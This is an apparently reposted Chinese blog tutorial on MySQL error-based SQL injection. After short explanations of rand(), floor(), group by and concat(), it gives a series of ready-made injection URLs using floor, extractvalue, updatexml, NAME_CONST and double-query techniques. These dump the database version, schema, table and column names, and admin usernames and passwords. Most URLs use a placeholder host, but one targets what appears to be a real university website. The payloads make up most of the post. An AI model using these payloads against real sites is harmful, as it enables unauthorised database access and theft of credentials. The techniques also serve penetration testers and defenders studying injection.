前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >mysql注入高级篇3--报错注入

mysql注入高级篇3--报错注入

作者头像
lonelyvaf
发布2018-06-07 14:40:41
1.5K0
发布2018-06-07 14:40:41
举报

基于报错的注入~~之前我们就说过了,如果程序员小哥哥没有在写程序的时候加一个mysql_error()之类的调试函数或者没有输出点,无法在网页显示出数据内容。

这里就介绍一些基于报错的注入。

1、通过floor暴错

(1)rand()函数

随机函数,每次运行select rand();都会出现不同的值,有趣的是你在括号内指定一个数字试试~

我们直奔主题:

执行:select rand(0) frominformation_schema.tables;

查询结果是我所有的表名以随机数的形式返回的

Rand(0)*2试试,翻两倍了

(2)floor

这个和round要区别下,round是四舍五入获取整数位,而floor的是取整数位。

select floor(rand(0)*2)x frominformation_schema.tables;

这样就变成了100001001001…这样的形式

(3)group by(聚合函数)

聚合成分组返回,详情你可以百度一下。

我们返回的列名是X,值是0和1。所谓聚合,你可以理解成分组,1的站成一队,0的站成一队,只有两队了。

(4)concat函数

函数用于将多个字符串连接成一个字符串

selectconcat(0x7e,version(),0x7e)

select (select (select concat(0x7e,version(),0x7e)))

mysql> select (select (selectconcat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1;

返回的结果都是如下的值

/*数据库版本*/

http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select concat(0x7e,version(),0x7e)from information_schema.tables limit 0,1),floor(rand(0)*2))x frominformation_schema.tables group by x)a)

/*连接用户*/

http://www.xxx.cn/sql.php?id=1+and(select 1 from(selectcount(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*连接数据库*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴库*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (SELECT distinct concat(0x7e,schema_name,0x7e) FROMinformation_schema.schemata LIMIT 0,1)) from information_schema.tables limit0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴表*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (SELECT distinct concat(0x7e,table_name,0x7e) FROMinformation_schema.tables where table_schema=database() LIMIT 0,1)) frominformation_schema.tables limit 0,1),floor(rand(0)*2))x frominformation_schema.tables group by x)a)

/*暴字段*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (SELECT distinct concat(0x7e,column_name,0x7e) FROMinformation_schema.columns where table_name=0x61646D696E LIMIT 0,1)) frominformation_schema.tables limit 0,1),floor(rand(0)*2))x frominformation_schema.tables group by x)a)

/*暴内容*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM adminlimit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x frominformation_schema.tables group by x)a)

2、ExtractValue(有长度限制,最长32位)

http://www.xxx.cn/sql.php?id=1+and extractvalue(1,concat(0x7e, (select @@version),0x7e)) http://www.xxx.cn/sql.php?id=1+and extractvalue(1, concat(0x7e,(SELECT distinctconcat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))

3、UpdateXml(有长度限制,最长32位)

http://www.xxx.cn/sql.php?id=1+andupdatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

http://www.xxx.cn/sql.php?id=1+andupdatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23)FROM admin limit 0,1),0x7e),1)

4、NAME_CONST(适用于低版本)

http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

5、Error basedDouble Query Injection (http://www.vaibs.in/error-based-double-query-injection/)

/*数据库版本*/

http://www.xxx.cn/sql.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1

下次还有一个最近新出的bigint报错的注入,但是我打算单独写出来,因为挺有趣的。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-03-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 晨星先生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档